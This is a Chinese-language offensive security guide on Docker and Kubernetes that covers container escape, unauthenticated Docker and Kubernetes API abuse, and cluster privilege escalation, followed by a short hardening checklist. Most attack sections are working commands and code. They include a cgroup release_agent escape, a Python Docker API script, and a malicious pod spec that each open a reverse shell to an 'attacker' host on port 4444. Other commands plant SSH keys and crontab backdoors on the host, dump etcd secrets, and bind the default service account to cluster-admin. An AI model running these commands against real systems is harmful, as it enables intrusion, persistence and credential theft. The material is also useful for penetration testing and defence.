Docker 与 Kubernetes 容器安全

← 返回指南列表

Docker 与 Kubernetes 容器安全

容器化已成为主流部署方式,错误的配置让攻击者轻松逃逸到宿主机或控制整个集群。

一、Docker 基础架构

CODE
宿主机 (Host OS)
├── Docker Daemon
│   ├── Container A (namespace + cgroups 隔离)
│   ├── Container B
│   └── Container C
└── 内核 (Linux Kernel) ← 容器共享宿主内核

二、Docker 配置安全

1. Privileged 特权模块

BASH
docker run --privileged ubuntu bash
# --privileged 关闭所有隔离,等于拥有宿主机 root

利用:特权容器中直接挂载宿主磁盘:

BASH
fdisk -l
mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host
# 现在就是宿主机 root

2. 挂载宿主机目录

BASH
docker run -v /:/host ubuntu bash
# 容器中可读写宿主机所有文件

# 写 SSH 公钥
echo "ssh-rsa AAA..." >> /host/root/.ssh/authorized_keys

# 写 crontab
echo "* * * * * /tmp/backdoor.sh" >> /host/etc/crontab

3. Docker Socket 挂载

BASH
docker run -v /var/run/docker.sock:/var/run/docker.sock ubuntu bash
# 容器内操作 docker daemon
docker run -it -v /:/host ubuntu bash
# 或
docker exec -it <id> bash

工具:在容器内装 Docker 客户端即可操作宿主:

BASH
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh
docker run -d --privileged -v /:/host ubuntu bash -c "chroot /host"

4. Capabilities 逃逸

BASH
# CAP_SYS_ADMIN
mount -t cgroup -o rdma cgroup /mnt
mkdir /mnt/x
echo 1 > /mnt/x/notify_on_release
# 触发 release_agent 执行任意命令

# CAP_SYS_MODULE
# 加载内核模块,完全控制内核

# CAP_DAC_READ_SEARCH + CAP_SYS_PTRACE
# 可注入宿主进程,读取内存

危险 Capabilities 清单:

Capability 风险
CAP_SYS_ADMIN 内核/文件系统操作 → 完全逃逸
CAP_SYS_MODULE 加载内核模块
CAP_SYS_PTRACE 进程注入
CAP_NET_RAW 原始套接字 → ARP 欺骗
CAP_NET_ADMIN 网络配置
CAP_DAC_READ_SEARCH 绕过文件权限

5. 不安全的 Dockerfile

DOCKERFILE
# 危险 1:以 root 运行
FROM node:18
USER root                    # 默认就是 root

# 危险 2:硬编码密码
ENV DB_PASSWORD=admin123
ENV AWS_SECRET_KEY=xxx

# 危险 3:COPY 敏感文件
COPY .env /app/
COPY ~/.aws/credentials /root/.aws/

# 正确做法
RUN useradd -m -u 1001 appuser
USER appuser
# 使用 secrets 管理敏感信息

6. 镜像漏洞利用

BASH
# 扫描镜像已知 CVE
trivy image nginx:1.21.0
clair-scanner --ip localhost nginx:1.21.0

# 历史层泄露敏感信息
docker history <image_id> --no-trunc
# 可能泄露 ENV 变量、COPY 的文件内容

# 检查镜像层
docker save <image> -o image.tar
tar -xvf image.tar
# 逐层解压查文件

三、Docker 逃逸技术

1. notify_on_release 逃逸(CAP_SYS_ADMIN)

BASH
# 写入 release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -i >& /dev/tcp/attacker/4444 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

2. CVE-2022-0492(CGroups v1 逃逸)

利用 CAP_SYS_ADMIN 绕过 cgroup v1 release_agent 的限制。

3. runc 逃逸(CVE-2019-5736)

覆盖宿主 runc 二进制文件,影响 Docker < 18.09.2。

BASH
# 从容器内覆盖宿主的 runc
./exploit /bin/bash
# 下次宿主机运行 docker exec 时触发

4. /proc/sysrq-trigger 逃逸

BASH
# 如果 /proc/sysrq-trigger 可写
echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger    # 重启宿主机

5. CVE-2024-21626(runc 工作目录逃逸)

CODE
# 通过设置容器工作目录绕过隔离
docker run -w /proc/self/fd/8 ubuntu bash
# 可访问宿主机文件系统

四、Docker API 未授权访问

1. 发现

BASH
# 公网暴露:2375 (HTTP) / 2376 (HTTPS)
curl http://target:2375/version
curl http://target:2375/containers/json

# 内网发现
masscan -p2375,2376 10.0.0.0/8

2. 利用

BASH
# 未授权 Docker 等于 root
docker -H tcp://target:2375 ps
docker -H tcp://target:2375 run --privileged -v /:/host -it ubuntu bash

3. 反弹 Shell

PYTHON
import docker
client = docker.DockerClient(base_url='tcp://target:2375')
client.containers.run(
    'ubuntu:latest',
    'bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"',
    privileged=True,
    volumes={'/': {'bind': '/host', 'mode': 'rw'}},
    remove=True
)

五、Kubernetes 安全

1. K8s API Server 未授权

BASH
# 扫描
curl https://target:6443/version -k
curl http://target:8080/api/v1/namespaces

# 获取 secrets
curl https://target:6443/api/v1/secrets -k -H "Authorization: Bearer <token>"

# 获取 kubeconfig
curl https://target:6443/api/v1/namespaces/kube-system/secrets

2. Kubelet API(10250 端口)

BASH
# 列出 pods
curl -k https://target:10250/pods

# 在容器中执行命令
curl -k -XPOST https://target:10250/run/<ns>/<pod>/<container> \
  -d "cmd=id"

# 读取容器日志
curl -k https://target:10250/logs/<ns>/<pod>/<container>

3. etcd 未授权(2379 端口)

BASH
etcdctl --endpoints=http://target:2379 get / --prefix --keys-only
# 泄露所有 secrets、configmaps、pods 信息

4. Service Account Token 利用

Pod 挂载了 /var/run/secrets/kubernetes.io/serviceaccount/token:

BASH
# 拿到 token 后
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API=https://kubernetes.default.svc

# 查看权限
curl -k -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces

# 如果有 create pods 权限
curl -k -H "Authorization: Bearer $TOKEN" \
  -XPOST $API/api/v1/namespaces/default/pods \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion":"v1",
    "kind":"Pod",
    "metadata":{"name":"evil"},
    "spec":{
      "containers":[{"name":"evil","image":"ubuntu","command":["/bin/sh","-c","bash -i >& /dev/tcp/attacker/4444 0>&1"]}],
      "hostPID":true,
      "hostNetwork":true,
      "hostIPC":true
    }
  }'

5. Helm/Tiller 漏洞

BASH
# Tiller 通常有 cluster-admin 权限
helm --host=tiller-deploy.kube-system:44134 list
helm --host=tiller-deploy.kube-system:44134 install --name evil /malicious-chart

六、Kubernetes 攻击路径

1. 经典攻击链

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

2. RBAC 提权

BASH
# 检查当前权限
kubectl auth can-i --list

# 创建 RoleBinding 提权
kubectl create clusterrolebinding evil-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=default:default

3. 横向到其他 Pod

BASH
# 从当前 Pod 用 Service DNS 枚举内部服务
nslookup redis.default.svc.cluster.local
curl http://api-gateway.default.svc.cluster.local:8080/

# 若存在 SSRF,利用内部服务 DNS 打其他容器

七、工具

工具 用途
Docker Bench Security Docker 安全基线检查
Trivy / Clair 镜像漏洞扫描
kube-bench K8s CIS Benchmark
kube-hunter K8s 安全审计
kubeaudit K8s 配置审计
CDK / peirates 容器/K8s 渗透工具
Falco 运行时安全检测
Aqua Security 全栈容器安全

八、防御方案

Docker 层面

  1. 不用 root:USER 1000
  2. 不用 –privileged:精确分配 capabilities
  3. 不挂 socket:不使用 -v /var/run/docker.sock
  4. 只读 filesystem:--read-only
  5. 资源限制:--memory --cpus
  6. 不暴露 Docker API:绑定 127.0.0.1
  7. 启用内容信任:DOCKER_CONTENT_TRUST=1
  8. Seccomp / AppArmor / SELinux

K8s 层面

  1. Pod Security Standards:restricted 策略
  2. RBAC 最小权限:不绑 cluster-admin
  3. Network Policy: Pod 间网络隔离
  4. Secret Encryption:--encryption-provider-config
  5. Admission Control:OPA/Gatekeeper 策略
  6. 审计日志:--audit-log-path

九、实战经验

  1. Socket 是金矿:/var/run/docker.sock 和 docker.sock 是最容易被忽视的逃逸点。
  2. Service Account Token 默认挂载:几乎所有 Pod 都有,但很少有团队收紧 RBAC。
  3. K8s 密码/密钥在 Secrets:不进 Pod 看不到,进了 Pod 遍地 resources + creds。
  4. 内部的内部:K8s DNS 可以访问集群内所有 service,横向移动比想象中容易。
  5. 日志别忘记:kubectl logs 可能泄露敏感参数(启动命令中带了密码)。
  6. 镜像层是残留数据的金矿:docker history + 分层解压经常能找回已经删掉的 ENV。